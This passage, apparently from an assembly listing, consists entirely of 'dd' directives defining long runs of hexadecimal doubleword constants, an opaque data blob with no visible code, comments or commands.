81CC946h, 2CF0BC61h, 12F3AA4h dd 45B703F9h, 0AF182028h, 1E1FC100h, 0FB08100Ah, 0F63E0057h dd 4C52F27Fh, 7D0031C4h, 80DE9118h, 48C54164h, 7A00E40Fh dd 59365ED4h, 54502619h, 0DA075AFCh, 0E3AD41D2h, 60F0C772h dd 30933838h, 503620E8h, 9C1E157Eh, 74408933h, 0CF5D30A7h dd 87590040h, 78FA6F64h, 7A245CBEh, 0EB13A0BCh, 0CC50C804h dd 0C4E614C0h, 0D78607DAh, 0A01D8491h, 0B2C2768Bh, 0BFCF7209h dd 9B9B0069h, 0E03F3B5Bh, 1BA40B53h, 4080F260h, 6744EF25h dd 7CD6D512h, 30370C70h, 22D203BDh, 6837A9Bh, 0F08A0DD1h dd 0F712E867h, 1000BBAEh, 0D49339EFh, 0CD6200C8h, 42CB8183h dd 351C3666h, 99C0D1BCh, 442D8FC9h, 84B5009Ch, 0CA63CC75h dd 0C40096DCh, 0B25B03D0h, 1EE26B5Ah, 0F2C90Bh, 4D0928A8h dd 0F3907B39h, 0DF5D9F00h, 31D47030h, 0C3C03E3Bh, 807AB11Ch dd 8CF88D99h, 0A028D383h, 0BC03F475h, 7D199ACEh, 0D956A006h dd 1A6D0C12h, 0F9206E88h, 9DD5800h, 373FECCEh, 67F601A6h dd 0D4D16298h, 0F7A46007h, 71018719h, 0C0C47330h, 0EA950E7Fh dd 7BC94C9Dh, 0E58E080h, 0F2002511h, 84A82D1Ah, 7DCE0Ah dd 0FE956983h, 0BA48F03Dh, 4744Dh, 551B0826h, 0EA400F9Ah dd 0AA980F71h, 1E002AA4h, 44138728h, 3AE41F12h, 8AEA2902h dd 40A460A0h, 3899000Bh, 90FE7EFCh, 5400F8F6h, 7D0A936Ah dd 1EE176ADh, 0C0E458FAh, 0DB1E5189h, 0CA033C20h, 7953158Eh dd 8B4D996Dh, 0D4D0CDF9h, 0BFBD2894h, 8C7B03B4h, 9E56FB05h dd 632FC0E0h, 0A578E77Dh, 8D4F1E07h, 5B91D3A6h, 0A8C1D1D8h dd 0E4D0FE8h, 1F90FB43h, 80A09E9Ch, 0E71EB42h, 0B0392B7Fh dd 0A4040051h, 8A6DDB33h, 197900F6h, 9BAA0757h, 27072C3Ah dd 488BBD52h, 3726A6D0h, 38D46FF3h, 0D8966FC1h, 6198C319h dd 0CF071E0Eh, 3D7B1C93h, 885B2AD3h, 0BD6DE7h, 560CF804h dd 0A371B1B2h, 0E5C3448h, 80A1A22Fh, 419280E4h, 0A580BC1h dd 8CA01357h, 0ECF3367h, 0AFE007ECh, 0CB2957Dh, 0D1370101h dd 2936E19Ah, 3B008C28h, 0C53DFA2Ah, 0B2006A3Eh, 28C1487Fh dd 6023A79Eh, 80B9BAC8h, 1A01CE54h, 7F9DCA25h, 0DECC68C7h dd 3820079h, 61261C37h, 0FA02C08Bh, 6AF12F08h, 72F0C8F2h dd 800C9437h, 0A253A01Ah, 0B6E8B01Bh, 0A80D7C4Ah, 0F3E01818h dd 8011CF82h, 870ADE05h, 0FB9B80DCh, 0FA18A6F8h, 22589C31h dd 0F3EA0655h, 0E10A53AFh, 4751A378h, 0BE12EC3Ch, 0EA6D2A00h dd 0D088B646h, 89EF0005h, 4BA3DF8Fh, 0E5009DE0h, 0FCBEF20Ah dd 50F12908h, 74206Ch, 9D2C9F49h, 8D20D6EAh, 2206ADE8h dd 0A85D8F26h, 287303A8h, 901D0A46h, 2F7BD807h, 0AFCF075Ah dd 2A79A04Bh, 6F16F1h, 0E2240CF7h, 65101950h, 0C7077500h dd 1D8D6473h, 0C0907FD3h, 38978F18h, 257C3A28h, 948ABE03h dd 20CE16Fh, 0E6074C39h, 0D6C03C6Dh, 9718F7B1h, 0A9306287h dd 34FD0004h, 0E63EEFE5h, 18D86547h, 8072D340h, 63788B3Dh dd 1A05B41Eh, 0D7EFB102h, 7C030F5Dh, 60E621B0h, 227FA100h dd 85E53269h, 181C6630h, 3C3C09F9h, 886E3004h, 0C088D16Fh dd 1D084651h, 0C2604CF3h, 36FE7D1h, 1924063Ch, 411BD49Dh dd 2A9A5E01h, 6566CC58h, 0ED0E48BEh, 0E1636C7Fh, 6D881D28h dd 0FAF816F5h, 859FB01Fh, 600C348Dh, 1C446000h, 0E8C9053Ah dd 1C3D556h, 0DB73E0F3h, 1654E80Fh, 828B7200h, 15A2AA36h dd 0A6760042h, 0B6F72093h dd 603ECA10h, 0D3C29EAFh, 4454CE00h, 50D697h, 6170B572h dd 0B69FA1Fh, 0BD1A3900h, 0E58035FDh, 0A1AD011Dh, 9093B2D3h dd 0FCE3D44Bh, 0B907ECE4h, 0DE24F385h, 0DFE54593h, 0A0098452h dd 4B02049Ch, 3CC70EF5h, 0C28132D6h, 20459977h, 84A06C7Dh dd 6200C48Ch, 0E68A1A7Bh, 139D0C9h, 0ED9E0B72h, 80B378FDh dd 0E7847C28h, 54030CC2h, 65A07Eh, 52992974h, 67CC27EEh dd 32AD81Fh, 3D918D80h, 30075337h, 0ED3072C4h, 5C3FA91Ah dd 0A113877Dh, 0D240ECD6h, 0CF98BDCh, 0AD0E8A52h, 0D3042921h dd 46337C43h, 0E336D5C0h, 0A2C60052h, 8E9C6FDAh, 4B38B088h dd 930C000Bh, 7DCF9A29h, 0EC64EA58h, 0E148C3A6h, 0A901301h dd 0A30FFACDh, 621AE5C7h, 40D99705h, 0D52917h, 92E46DBFh dd 20EEC4C5h, 99018A1Bh, 64FD9089h, 3151C0A7h, 651B2F34h dd 786F2001h, 0FC078DEDh, 4699DF4h, 6B1CDD4h, 0D0F4C07Ah dd 220083F9h, 0EC80E6A9h, 24F0C58h, 81F4E817h, 0CAC0A0FBh dd 57392EC1h, 0CCB500BCh, 809CBABDh, 22C007A5h, 305B3606h dd 37775F7h, 0D97D7203h, 0E0371B8Eh, 13CD121h, 584C7E54h dd 8C79C317h, 38112220h, 3E6A0EADh, 0EE83D354h, 1100A9BFh dd 0CE7FC20Dh, 33192E32h, 0DA097E58h, 3A6D2100h, 6587EB70h dd 0AE630F8Ch, 0FEA12660h, 80574538h, 0A9A37459h, 7D9DDCD6h dd 6DD5330Eh, 21000B08h, 9AA99B16h, 3E06D358h, 748E8925h dd 7C035B48h, 0D0010A96h, 529A57D8h, 38805439h, 0C7E9311Eh dd 0A0723A5h, 91BBF6Eh, 1F212B46h, 80E8C8FBh, 65FE21F8h dd 9D600CACh, 5141DFA0h, 4224034Ah, 6C7571C9h, 0F333CEF8h dd 0A790D905h, 0E580277Bh, 3F8AA3Dh, 5A7809E5h, 0ECE9839Eh dd 52F2E04Bh, 9C063C3Dh, 63801A8Fh, 168C1F73h, 0FDA701AFh dd 0B7CEC969h, 8470D0A6h, 82564D00h, 30AEEA01h, 77C6027Fh dd 8B344026h, 0E69967E0h, 0AD23C500h, 10805081h, 0CB7D00E5h dd 6C2EA90h, 41E87460h, 3835500h, 2EE3C415h, 68845C0Dh dd 0DFB3CA07h, 0D4052063h, 0E5008BFDh, 531C2338h, 58334202h dd 3E0C8734h, 840845Bh, 77E06500h, 0EC5A6452h, 86FA095Fh dd 420FDBADh, 28C5040h, 0D100D715h, 0C0C90C4Ah, 0CEBFDAEh dd 4064E39Ah, 0B476ED58h, 2072DD30h, 1CE5F347h, 40EB8160h dd 3D135E0Bh, 9302932h, 1E37B848h, 59DD1E41h, 525C00C5h dd 94EEA811h, 2A044E1Dh, 551928C0h, 18ED6E06h, 6C965BC6h dd 5F0029B8h, 0EE828ECFh, 749181Eh, 466D9116h, 4BDA7098h dd 2E03AF8Fh, 7D40F4B7h, 5680A7CDh, 1EED3E9h, 0B38E570Bh dd 98B54E62h, 9221E408h, 86EE00FBh, 8B0A504h, 76005CF7h dd 231306BFh, 8EC8DAh, 1EEA5E18h, 0D1C1D693h, 7BE3D200h dd 0D92EA9D8h, 7848D980h, 4D51842h, 7E57B9EEh, 20E332B0h dd 1FEEFD90h, 176DF900h, 0A627E772h, 8A101F2Eh, 0CC480C7h dd 0F4C956ACh, 0A3657906h, 111AF6Ch, 0D50D084Fh, 0D8F2B114h dd 0ED7A212Dh, 55218360h, 15D0D10h, 0F5B24871h, 80E0A820h dd 524FC0C0h, 0C9CBE2h, 0C74D04BAh, 0C865760Ch, 466084F0h dd 35A51710h, 0CB7A0E1Ch, 24007E51h, 0A1DA5DFCh, 4681A900h dd 577C7758h, 0D10F00D4h, 0BAC5E54Bh, 87EABCD2h, 30513E07h dd 2A50E328h, 0A548C6h, 315712EBh, 0D3A8CD23h, 54C98F18h dd 0A756F140h, 1B748604h, 0B900105Eh, 190E4B2Ch, 3C0671A0h dd 119D5608h, 74CC0087h, 0EBC6E05h, 1495B928h, 8621D542h dd 3D821110h, 0C80E0FF6h, 9CBD8801h, 46DA0BFh, 9CE20FDh dd 0B1358040h, 550075F4h, 66E9FEDBh, 179C5D04h, 0BBAD1Ch dd 7EA8CE94h, 0F500A47Dh, 0E3797349h, 0D114D0h, 0AA57896h dd 76CAD32Ah, 5EE0F403h, 3977BD98h, 0FA075CF1h, 6094FE4Ch dd 9DE4DB83h, 0A19AB900h, 81F0DFD9h, 7972070Ah, 0B00C7055h dd 0C25C876Fh, 10C4D8E3h, 8077DA38h, 9001D2B9h, 0EF2A8A6h dd 26944834h, 85FED9E3h, 0A06920C7h, 5D786735h, 959D3B00h dd 0E4578645h, 9492058Ch, 8A728Bh, 0A8BF78E9h, 0FB0144B3h dd 9728B56Eh, 0DEC40AEBh, 0CF270636h, 0C0D7D091h, 9D056800h dd 89787609h, 7549000Ch, 0C18F5CE2h, 97072BC2h, 0E3F956A2h dd 47F46F81h, 0A8086C1h, 2BDE1959h, 8A0B179Ch, 80D87035h dd 8FAE2DEDh, 89710069h, 6134810Fh, 0FB001AFFh, 201239AFh dd 0D4D54h, 5F3F452h, 4B7E53E0h, 75006AE4h, 95C418C2h dd 4A9F55h, 9466CF39h, 0FE5E4C21h, 0A2836F00h, 3ACA4B78h dd 25D30026h, 5B477DD4h, 0EF00D681h, 0F9CCB250h, 6EF6CAh dd 4209065Ch, 52FC6AA0h, 4CB4AD58h, 80903EA2h, 0A5F4F21Fh dd 3E34B268h, 93D8440Eh, 0B56F4D00h, 54CF6D84h, 5F40ED00h dd 2D7F1631h, 9CBD50BCh, 0F07C17B7h, 1833007Bh, 43FE622Ah dd 774A8A00h, 31D464EFh, 0F6C60014h, 881D13ABh, 903DB99Bh dd 0B7E0002Eh, 6E0EE8BDh, 91CC00C2h, 1AE90978h, 30985E13h dd 56E1B600h, 1207FFBDh, 7D7400AAh, 8B23BE3Dh, 4A0066AFh dd 0A32B4F83h, 4C49DEBAh, 0E00083F9h, 79609559h, 72FE1244h dd 782750C0h, 0A0B424C2h, 17B8ADBh, 39DE05Dh, 0E4B87117h dd 0DB755705h, 89625F00h, 0B1268340h, 19ED3BCAh, 85AB2900h dd 0CD3C5DDAh, 68B8C300h, 0AF383AD4h, 73000CFh, 8C3D2941h dd 403B076h, 7AE61B5Ah, 92BBCCh, 42895510h, 5E2FE83Bh dd 0DBB68801h, 90B1B3ECh, 53B2C0h, 0C2D5F173h, 0FAA8CAF5h dd 0E2316003h, 0AA48F923h, 0E380F58Bh, 13521D6Dh, 11334000h dd 0F10A251Fh, 0DECD0h, 0FCBE022Bh, 0E8EDCFEh, 41859700h dd 0E89ABA05h, 1F149014h, 148AB712h, 0A100973Eh, 0B39827E4h dd 0CA3DC0E2h, 307F8043h, 5CD8B297h, 0AEDE006Ah, 76051C4h dd 9901734Ah, 48C030ECh, 95709179h, 0BB600FDh, 8944F126h dd 9400AB84h, 345A4D3Eh, 0AE775Ch, 0EE1CC5E8h, 1B97FDBDh dd 0F8C7CB00h, 5A966DB6h, 81A500ADh, 9DBE89DBh, 97001265h dd 0B5B984Eh, 50F938E9h, 0ED7EE90h, 2BB84895h, 0C361DB65h dd 29FB0A19h, 47A31001h, 24A74FCh, 723075E0h, 0E23600D1h dd 0E1CAE93Dh, 7C003E7Fh, 0E34A922Ah, 1E4B5DD4h, 3FC105Ah dd 0DC43EF82h, 0D2631FB2h, 567FA790h, 794C1700h, 63A0BEF4h dd 981E002Fh, 0EE4E85CCh, 93FC312Ah, 87280D00h, 0E05BD9C2h dd 0C720009Bh, 2CC671AAh, 0E83FC50Bh, 749F0058h, 8BFE51C3h dd 9DECE7B3h, 125F004Ch, 3E7ADFE9h, 0E5007871h, 225AF4E6h dd 50F33Dh, 0ED0B6EDBh, 90C37BBDh, 6B846500h, 3E4F4D3Fh dd 0A51C0377h, 13B82980h, 0D3C4F024h, 0EFEE7E00h, 0DD0B98h dd 14E9E006h, 0AB7C87C0h, 280E8D1Fh, 6F5401FFh, 1E6601B2h dd 3B03E130h, 4C80B704h, 521C385h, 2400417Dh, 52A338CAh dd 899EA8h, 0FB7E43CEh, 65739097h, 0ADEFB60Fh, 1B26A3C9h dd 0A02FBB83h, 0B3053h, 59E4A1Fh, 904FA87Bh, 0ADDC8407h dd 80393702h, 0D43EEC37h, 0E3D6007Eh, 311A168Ch, 0DD005832h dd 97FF08C0h, 7E771128h, 490500F8h, 2BEC83C9h, 0C9C0BD30h dd 982C86D3h, 0B45F009Bh, 0DA358502h, 891ECC68h, 6380D52Fh dd 0BAFBFEB8h, 8E7501B0h, 6E10D225h, 3876604Dh, 3BC3FA1Dh dd 0D74A2240h, 0A0F1F80Dh, 2113A2BCh, 9780BB21h, 4259B04Fh dd 2EA8288Bh, 1C90B8h, 0CB1093CDh, 0D08DE5D6h, 87FCC000h dd 0BA488C22h, 365E141Ah, 0DC00B9B9h, 60E06ED1h, 8000DAD0h dd 0F8B7AE08h, 0EB7332h dd 6DDEC5F3h, 0B92D8C6Eh, 7F4C7700h, 0C9A434Dh, 50AB0083h dd 0B071ADF3h, 6AF439CCh, 0F2E81800h, 84C66872h, 0D9F000C8h dd 0CA95B64Ah, 9B1E7669h, 2807918h, 0F3B5D421h, 0A83A1F71h dd 0C18E4048h, 81B168ABh, 51CCD900h, 445CF091h, 0D1310049h dd 209C55FFh, 0DF006DA4h, 81236CACh, 0ECFBB4Fh, 0F0F97C59h dd 0CCD296C0h, 7E1688C5h, 9C00E8D8h, 2418F78Ch, 78BB2CEEh dd 0E17400CBh, 59B9DD6Fh, 0C7434A00h, 9BAAA381h, 9FEC0190h dd 98F755CFh, 0FEC50B2h, 0C4001F9Ah, 2EC86CC7h, 0EDC911h dd 729DF594h, 9C70C0C1h, 0A6A82A1Eh, 10AA49C0h, 3979E4E6h dd 0A4C88DB9h, 0FD89628h, 29C31E0Eh, 3DECF2CAh, 0A9550F80h dd 9C6F841Ch, 4A6D700h, 0BCB6D670h, 0E9BF00A2h, 6CC0ECADh dd 73000558h, 0A95B7ECBh, 0B0CED220h, 80DB4826h, 81D54900h dd 92EB6229h, 30EE9E01h, 0F60A3BDDh, 0E2D420C5h, 0F86C37D2h dd 7E90B078h, 0DC00A30Ch, 0BF7E17Bh, 7120B3h, 7038FA72h dd 54073AAh, 0A32C2B00h, 3E93FFADh, 4A8E0396h, 8B6B4323h dd 55C19F83h, 69D8C045h, 7B672600h, 0CF0BE982h, 0B3250E46h dd 0D080D19Eh, 626BC5E4h, 64004C7Eh, 6168E543h, 79BD9BEBh dd 25F6009Ch, 0C5D65D49h, 0A5045231h, 40986AB3h, 0E942A8C0h dd 0F65F0006h, 69568668h, 0DE585344h, 3543002Ch, 7EA5986Dh dd 11390095h, 7889BE03h, 0AF036A1Ch, 3E9152A2h, 0FF8E8084h dd 340F02B6h, 5DF2DC5Bh, 8BC13040h, 0DB0FD00h, 0C2359B0Ch dd 12CB09Fh, 6444FC94h, 0D8B6DF4Ch, 700286Eh, 231CEFC0h dd 0B8A8E0ADh, 3CD5036Ch, 0BE162C53h, 0E541AEB0h, 5D0A38h dd 4059F897h, 0F6BDCCh, 266E09B4h, 0C0BF0ACh, 0AA2C17F4h dd 0B8004459h, 0E3866119h, 20A860A1h, 58352890h, 460D661Fh dd 7A502480h, 166B6Fh, 11080D9h, 15299EC0h, 6593F600h dd 0AC4344E7h, 91F000A0h, 8A18339Ah, 88380A31h, 0F75B807Ch dd 0E05E752h, 0B409056Ah, 80C84A5Eh, 0C13A6880h, 2F0EF7E8h dd 20016386h, 0AAFC44DAh, 7099074Ah, 0D016EDC2h, 28AF858Fh dd 3B932A00h, 64B5435Eh, 0DF2D0058h, 156D9416h, 880283D9h dd 13396BDEh, 28D481CDh, 0E6D4CBA7h, 76CA00D5h, 7DF4F34Eh dd 78004601h, 0F19C7B83h, 92BFAFC3h, 983859D4h, 5641BE00h dd 0F32A7647h, 8FC8A001h, 6DC5FC25h, 775AC8h, 3B7E7D3h dd 725359B4h, 0AEA11900h, 48765E08h, 8C9258DDh, 4467D907h dd 13904C2Ch, 6F6FF126h, 596A3D01h, 1880D34Dh, 55B2E6B3h dd 11CF1D16h, 0C5001746h, 11B75AF6h, 0F4EC009Ch, 0FAEBE8AAh dd 0D167CCEh, 0AF4603h, 6413B913h, 38C2B4BDh, 0A0F26D8Eh dd 495E0A80h, 70D200FFh, 0B21D2B65h, 6701C009h, 87AAF950h dd 5160FA96h, 0E4780A6Ah, 694603Ch, 0C008D159h, 6E718E00h dd 0B9D17F2h, 0A51B3A15h, 0EA8A103Ah, 3974B1AAh, 803D4AA1h dd 5361B216h, 77E46h, 0F0965B29h, 45A3FDA9h, 8F62E803h dd 0A0A02CF6h, 485822EEh, 61001FD4h, 1F92BCD3h, 0C90051CAh dd 0DAC3ACA3h, 0F7F19Dh, 0A2033B31h, 59E4EC4Eh, 0DBFD1401h dd 718D5001h, 6E52E681h, 0C8D87269h, 62F21D5Dh, 0DCDDA701h dd 0DA4FAB63h, 0E0808C50h, 17F73A96h, 9AB4A6h, 5E843CB2h dd 0FE0043D7h, 0BD6B5F88h, 0FDF5857Ah, 667C1C41h, 0FC77E8D7h dd 7B2700F0h, 0E8E74C0Dh, 5508676h, 63076C80h, 0CE66E087h dd 0DA03CC50h, 30F56D12h, 0C9AFF020h, 96256E00h, 7A69395Bh dd 8CC40089h, 3860C857h, 1931E7D0h, 30D631F2h, 183CAC50h dd 0B0961ED4h, 0AB64857Ah, 119F8004h, 71186031h, 1FA03C43h dd 88C400F1h, 34CFE7BBh, 0C60028B3h, 0A4FBB1E2h, 7CF25270h dd 39F40Dh, 3ACF78Bh, 0BCAEF58Dh, 29058800h, 95061B7Bh dd 7CC0E7A8h, 3273F41Ah, 0FE11FDCAh, 95180494h, 0F6100350h dd 6D7C05h, 5AFA6896h, 0DAE87986h, 8061600h, 0B569F795h dd 73F3198Ah, 10EE296Eh, 8BFB88h, 4162915Dh, 36CAAA85h dd 2F342E1Eh, 94A84C80h, 46F982h, 0F4E23332h, 0B9BAFF7Fh dd 14835607h, 0ECC0F384h, 0B48A0Bh, 0A5E47B51h, 0A409DF61h dd 0E372E700h, 1F107033h, 203600F4h, 0F05150F7h, 0FD00D828h dd 4983FEDAh, 0D07A2h, 0C7D26770h, 0C26E8E89h, 3A48BB00h dd 92DFF08Ah, 9FE700BEh, 628D4ED2h, 71E46702h, 0C931D000h dd 0DC7473C4h, 45830007h, 40B7CCDDh, 5100FA8Bh, 1AF0025Eh dd 0E8A686Dh, 7FC6F43Fh, 4B9D5060h, 0F50219A3h, 0C78E005h dd 35B08003h, 51CE92h, 5D55C92Dh, 5F2E6B02h, 47C48600h dd 0FDBBE6FAh, 0A37A0059h, 8C6C9D75h, 1900AD7Bh, 0B9C9B039h dd 0A3F2A20h, 46BFDF66h, 0C16C1C9Ch, 528C1E36h, 0D4617002h dd 0EC200A00h, 770C535Bh, 411A00BBh, 0F604AF73h, 7E3A6185h dd 8087BC9Bh, 943D7210h, 24F50F88h, 0BCA140h, 4CDDCB54h dd 3009C7B9h, 602243FBh, 0CF5FEAh, 7B4F7601h, 74FCE68Ah dd 0E48DB300h, 7C1C395h, 6DFB0070h, 9C9B056Ah, 59F87749h dd 0A914F900h, 0C4728580h, 0B930FE7h, 98A0781Ch, 7E5F07F3h dd 0BF2BDB1Dh, 47AC9h, 0DEA3040h, 44D40088h, 1B862098h dd 4E48F75Dh, 0CD920E77h, 0F51C8040h, 1CBDC43Eh, 803527D9h dd 8BA14496h, 0C8007E31h, 2D25D6F3h, 7D5A85h, 0AE0762EDh dd 9069371Eh, 0A3C5C706h, 218D5E0h, 0FFA06786h, 40D75D17h dd 727FFAh, 5495E6BBh, 0ECAAD469h, 0D59C9207h, 0BF000984h dd 6E53A82h, 9083D67Bh, 6A0048DBh, 0EEEF12FFh, 0CB1DE3Eh dd 5234A6E5h, 7768CD9h, 0D1411400h, 0B6F1AD22h, 9053006Dh dd 29DF54FCh, 790045DDh, 71FB2361h, 659556h, 8ABF069Bh dd 0F629E01h, 8B586800h, 67FEE175h, 7A0A80D3h, 61885B21h dd 0F8D632FBh, 0A500BCC4h, 0D4FA92F4h, 147B522h, 8679A1BAh dd 805B2D11h, 0E5FEDF30h, 0C056FA59h, 6399CF10h, 0A40F6DD5h dd 874E5D0Dh, 2EF0C35Ch, 2DF0924h, 703C1025h, 24617D59h dd 34EAF088h, 39DE7E00h, 2F625E64h, 0C43A3DABh, 1A1F8280h dd 0D3C230E7h, 63360C0Fh, 0F450E047h, 8673DDh, 0A72C3F0Dh dd 4399E006h, 0F109D0Ch, 2F9077h, 8BFA5F1Ah, 0F419F2A2h dd 266AD400h, 47D97A67h, 3DF90F8Ch, 0DF20BD74h, 0AC53D169h dd 81611600h, 2515B087h, 0B81800CDh, 0CB964FFFh, 50489C2Ch dd 80C23DE8h, 6D57420Ah, 0AB1238h, 0AA4AD360h, 2B2A4C1h dd 4FBCA3Dh, 2131BBE2h, 74339CD0h, 773200E3h, 303EC93Ah dd 5007913h, 592755E7h, 0CD38702h, 26D7F932h, 1C38FE10h dd 23289367h, 53181C04h, 2773C0D1h, 0D7F07C21h, 5D3000Bh dd 41CBD237h, 8D001C69h, 67B4E3B8h, 79A0E7h, 7A589754h dd 0BF510CC6h, 0E3BB9109h, 7F84204Fh, 8B5544h, 0FD165B41h dd 0AA8ABA6Dh, 0FCA25207h, 0C9600A25h, 0F2B56361h, 2F3607FAh dd 7AB3C54Dh, 464801B4h, 0FC0475F4h, 0C603AA88h, 2C4F8A16h dd 88989B22h, 0F2F7DDFh, 0FE99455Fh, 7B8800D2h, 49C1562Ch dd 5B545500h, 971FAB5h, 50E0024Eh, 88298EAh, 0C8541449h dd 1D0068A0h, 6692556Dh, 3BEAD7h, 6FA50B50h, 965170F4h dd 0BC56131Fh, 0F2A44080h, 4AB5AFh, 162078A8h, 0AE47D043h dd 0C76C3A02h, 40628AD7h, 0FBAD49h, 1F99167Ah, 4CF3E7F0h dd 0A2EF7400h, 0D2871EF6h, 0D87F1E09h, 80627CC5h, 4B006834h dd 0E29B84h, 0E3E53902h, 483605Bh, 0BC592301h, 9F6C4448h dd 188E54F9h, 0E1008B7Ch dd 40E7AF4Ah, 99D0EF00h, 1B06220Ch, 0DE5C3B44h, 0A611F881h dd 311A9A30h, 818010D4h, 4C05098Fh, 15F7A9F6h, 25FAA000h dd 36DF458h, 5F685E1Ah, 4D807663h, 73033E3Bh, 25CDB12Bh dd 0F516B86Fh, 91DF00EEh, 0C5BDDB56h, 0B40072BFh, 0E12CEBB8h dd 1B89ECh, 8101D7FDh, 6C56A454h, 23DA0B00h, 0A512B3F8h dd 8B9C0184h, 0F34FC426h, 6CC0856Ah, 0C48582DEh, 8AC0FE80h dd 35EE0055h, 0B5BCBA23h, 0DE00CF6Ah, 93DCF29Fh, 8F039Ah dd 0CA51B10Bh, 491DB2Bh, 2DC25802h, 4817B538h, 7B6394h dd 0A4C5678Bh, 0F65FAEF4h, 0B78EDF00h, 0DA40EF06h, 0B4DB0081h dd 506FF3A2h, 0D107963Ah, 28385BF5h, 8AEDF260h, 27120124h dd 44B0C7DEh, 6DD7FC3Fh, 6F41D609h, 7C0C805Ch, 0B3EEF2Eh dd 12491965h, 6DF970A0h, 7000FF41h, 0B1A85F02h, 602DE6DAh dd 0C83520B5h, 0AF4CE823h, 0A81063D0h, 0B145F822h, 0C26100E7h dd 3624E16h, 0C7723612h, 8323980Fh, 8ED20040h, 385B1A9h dd 6A7B7F9Ch, 500F34DCh, 0E395C087h, 0A0CA9FD5h, 0BAB8FD60h dd 85FE3DB0h, 3687FA6h, 3284E7FCh, 4286EAA0h, 107BDD24h dd 6E156500h, 3EEB6FFh, 43E568A2h, 0B48192B8h, 5B98DBFAh dd 0B707F8F3h, 5442AA3h, 8C039E50h, 89280FCFh, 0A9E0E22Eh dd 4E2FB957h, 0F7AC9500h, 53AA9893h, 0C5ED0050h, 11A9106Ch dd 0EFEB712h, 0FDF38D07h, 3490BF14h, 50F2F4h, 72710BCFh dd 8720DFB9h, 1AB03300h, 0C9EB228Fh, 815D1C11h, 7B5DC0h dd 7D81348h, 58005765h, 0A6E23B9h, 6CF9FC9h, 8B12DB0Fh dd 0E13EC8Fh, 7C408265h, 0A00DE36Ah, 47FD1h, 0FC9A6685h dd 0A157ADEh, 840998A8h, 7D318360h, 1A21F0Dh, 8DE0FC85h dd 307CC76Eh, 1007FEDh, 6FBD9E8h, 0D56373Ah, 0AB668642h dd 7AC1750h, 0B6D67716h, 9C00117Fh, 351944E5h, 0FEDC2140h dd 0AF08C93Fh, 0CDBC9840h, 0E24D4407h, 9705D86h, 0E32EB8DAh dd 91D0F042h, 51807AD8h, 480CF83Ah, 0F1014294h, 76C02F0Eh dd 79EDB088h, 0C19BF5C4h, 977B3490h, 1DC8BEEAh, 0FDDF2559h dd 0D7D4151Fh, 44E08050h, 8CD83512h, 1BDB044h, 7F4744C8h dd 83DA6ECEh, 67199891h, 0DFC1A018h, 8AFF06F3h, 70D01FE2h dd 96008D7Bh, 0D7FACC1Eh, 0B00B6548h, 0DDF0080h, 7EAC4AA9h dd 6307F52Fh, 9712C5E8h, 8F84F193h, 0EA95D650h, 68AE0046h dd 17154947h, 1C0039DBh, 14DD98CFh, 0EFD70Eh, 8A17F7Ah dd 0E08A8578h, 7C0C3D00h, 3A2C3693h, 55970082h, 6F2039F2h dd 29025A6Ch, 5FF63492h, 841BE078h, 417100B4h, 0C71523E0h dd 0D00E7DBh, 57546D1Ch, 0C07EE4E5h, 0BDD67340h, 5078CAF1h dd 88306C0Bh, 0A865F92h, 517720D9h, 0CD3879F2h, 3310056h dd 5DB44FE0h, 90AF0013h, 0DDFCF9C8h, 2806FEA8h, 0D54BA4D9h dd 0E8810770h, 0C0FF546Ch, 0BF7B14Eh, 0EED7C900h, 0D38575BAh dd 0D85F068Ah, 485AB331h, 0BAD2F426h, 0C3618307h, 362DFF80h dd 0E171E6h, 85432A53h, 3C696862h, 91815501h, 41E6D63Bh dd 0E0F2A883h, 0D96362E7h, 0C5FAB58h, 56858248h, 2390BD18h dd 8AC29300h, 46A4E2FCh, 0B8E830h, 72550E9Dh, 0AACF88ACh dd 29F50102h, 0E0CEBFA3h, 19B1E9Dh, 881CC965h, 0E48FB0B2h dd 0AF7C9EAAh, 49411CAh, 0A3F17161h, 4EA61080h, 87B85E24h dd 72F77600h, 2B8EBCDDh, 591B0052h, 0F3757BB1h, 6B3F2F65h dd 678080E0h, 32228D4Ah, 0EEFB003Eh, 96E7E62Eh, 56075AEBh dd 0B5FEEAE4h, 9DE8D120h, 925E0080h, 0A12022CAh, 0BDF60C57h dd 0D339F51Ch, 0A2D09900h, 182D3677h, 30D71E08h, 20078CB4h dd 0FE4903Bh, 8DE82CA0h, 714B1DE3h, 2EAAC035h, 0C61F7CC3h dd 7400F1FCh, 0EC5BD2E0h, 37F6BDFh, 6D08DABCh, 33D1FA9Bh dd 2088D51Ah, 92049912h, 0CA91105Eh, 80AFB5C0h, 0A84EAACh dd 81149DD5h, 51C08094h, 557ADB4h, 54410460h, 209FB24Bh dd 0CF01162Ch, 0C3ACB80Dh, 1DFC5BD4h, 0E59C4495h, 97C4FB00h dd 7990DEFEh, 115900DAh, 9C889542h, 660093D6h, 6F9F6731h dd 4A3F10h, 61F36B77h, 0B1AAC819h, 2C1D707h, 0A7701B64h dd 4E8F939h, 0C2F273E0h, 326C8055h, 4601012Eh, 0D9F9724h dd 0A880628Eh, 6D654F3h, 120F912Fh, 0C0F873BAh, 0AE0CFFF0h dd 569400DBh, 0BF35CC9Dh, 5A00D317h, 9A0107D4h, 91D068h dd 0EB788728h, 0AEC02679h, 8E948300h, 97BBB941h, 85A40188h dd 0C66DC2A6h, 3EB5D84Fh, 0D5041000h, 30EB2CCEh, 37D70067h dd 1655F79Fh, 31038526h, 80AB17A9h, 8165D870h, 0D21F00A7h dd 2ECDDEE5h, 0AAB89C4Ch, 0FF799607h, 33421955h, 45F5E067h dd 0B15E3DD5h, 594EFB80h, 32B796C8h, 0CA2BD600h, 0E281BA63h dd 31F498C3h, 0A980ED0Bh, 898DDCCDh, 2C00B790h, 0D5C56508h dd 22B79h, 0B99DDC7Dh, 0A3FD0EDh, 8C9848h, 892F3849h, 9A1F9Fh dd 96995020h, 7DFE152Eh, 52C61903h, 0F14F16Fh, 0E8D9DB10h dd 23C0C01Dh, 6E883E1Dh, 2EBBA500h, 0F28BAF31h, 0D4FC004Eh dd 0B834429Dh, 1B00337Ah, 0C3F689C9h, 0B8824986h, 0BC60005Ch dd 0EC2E58EEh, 1F0ACF6Eh, 584AD236h, 0EB5DBF0Ah, 0C783718h dd 16A20041h, 4ED86068h, 0C601B5D0h, 0A3F991C4h, 0F424BEEDh dd 9C754CF2h, 57AC1807h, 5E608F87h, 450CC865h, 342DFC01h dd 5CBA8567h, 0E5F7C4ECh, 61556C0h, 0A2A932E5h, 0F1007026h dd 5BC58443h, 26D0EC7Bh, 0BA249305h, 0C111BF00h, 7580D870h dd 6E3C5000h, 2FE22917h, 